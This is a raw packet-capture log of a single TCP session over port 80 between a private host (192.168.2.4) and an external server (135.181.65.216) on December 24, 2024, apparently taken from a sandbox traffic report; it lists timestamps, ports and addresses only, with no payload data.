Dec 24, 2024 22:27:18.164320946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.164406061 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.164418936 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.164453030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.164464951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.164721966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.164931059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.165143967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.165157080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.165184021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.165200949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.165349960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.165364027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.165391922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.165415049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.166035891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.166049004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.166059971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.166086912 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.166124105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.166276932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.166451931 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.166928053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.166975975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.167074919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167088985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167126894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.167136908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.167325974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167365074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.167715073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167748928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.167838097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167850018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.167895079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.168131113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.168179989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.168567896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.168616056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.168700933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.168713093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.168745041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.168755054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.169022083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.169060946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.169411898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.169456959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.169542074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.169553041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.169591904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.169603109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.169847965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.169914961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.170270920 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.170325041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.170418024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.170428038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.170461893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.170471907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.170710087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.170752048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.171185970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.171195984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.171236992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.171354055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.171370983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.171406984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.171976089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172041893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.172111988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172123909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172158957 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.172168016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.172400951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172878981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172919035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.172979116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.172987938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.173022032 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.173297882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.173337936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.173712015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.173749924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.173825979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.173835993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.173861027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.173870087 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.174146891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.174607038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.174648046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.174702883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.174712896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.174741030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.174763918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.175009012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.175476074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.175487041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.175523043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.175651073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.175661087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.175688982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.175704956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.176276922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.176410913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.176423073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.176449060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.176465988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.176738024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.177203894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.177212954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.177239895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.177256107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.177378893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.177387953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.177427053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.177997112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178045988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.178128004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178139925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178175926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.178427935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178462029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.178857088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178905010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.178986073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.178996086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.179025888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.179034948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.179292917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.179342031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.179724932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.179774046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.179843903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.179853916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.179879904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.179888964 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.180182934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.180228949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.180641890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.180655003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.180695057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.180840015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.180850983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.180886030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.180893898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.181524038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.181617975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.181629896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.181643963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.181670904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.181682110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.181862116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.181902885 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.182480097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.182491064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.182526112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.182533979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.182688951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.182699919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.182748079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.183222055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.183265924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.183327913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.183337927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.183374882 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.183650017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.183686018 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.184006929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.184056997 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.184137106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.184145927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.184175968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.184184074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.354827881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.354882956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.354938030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.354948997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.354986906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.355004072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.355240107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.355292082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.355427980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.355438948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.355473042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.355482101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.355762959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.355775118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.355809927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.356077909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.356141090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.356270075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.356281042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.356323004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.356604099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.356648922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.356873035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.356923103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.357040882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357052088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357081890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.357090950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.357280016 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357331038 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.357716084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357758045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.357837915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357850075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.357889891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.358144045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.358196974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.358601093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.358654022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.358712912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.358724117 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.358768940 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.359009981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.359093904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.359435081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.359478951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.359536886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.359548092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.359586000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.359858036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.359909058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.360336065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.360347986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.360385895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.360521078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.360532999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.360577106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.361150026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.361217976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.361284018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.361294985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.361329079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.361339092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.361586094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.361818075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.362095118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.362107992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.362147093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.362154961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.362302065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.362313986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.362348080 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.362365961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.362986088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.362996101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363008976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363018990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.363056898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.363178968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363230944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.363750935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363801003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.363899946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363912106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.363945961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.363955975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.364186049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.364296913 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.364593029 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.364651918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.364716053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.364728928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.364763975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.364774942 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.365019083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.365067005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.365489006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.365539074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.365592957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.365605116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.365644932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.365870953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.365917921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.366306067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.366353989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.366434097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.366446018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.366476059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.366506100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.366739035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.366785049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.367177963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.367228031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.367300034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.367316961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.367367029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.367636919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.367682934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.368017912 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368068933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.368149042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368160963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368201017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.368460894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368509054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.368927002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368940115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.368973017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.368982077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.369096041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.369107962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.369138956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.369225025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.369796038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.369806051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.369817019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.369847059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.369856119 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.370021105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.370066881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.370637894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.370647907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.370678902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.370690107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.370820999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.370831013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.370866060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.370881081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.371447086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.371572971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.371591091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.371602058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.371624947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.371639013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.371918917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.371964931 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.372349977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.372359991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.372399092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.372564077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.372574091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.372610092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.373177052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.373224974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.373287916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.373297930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.373337984 CET	49749	80	192.168.2.4	135.181.65.216
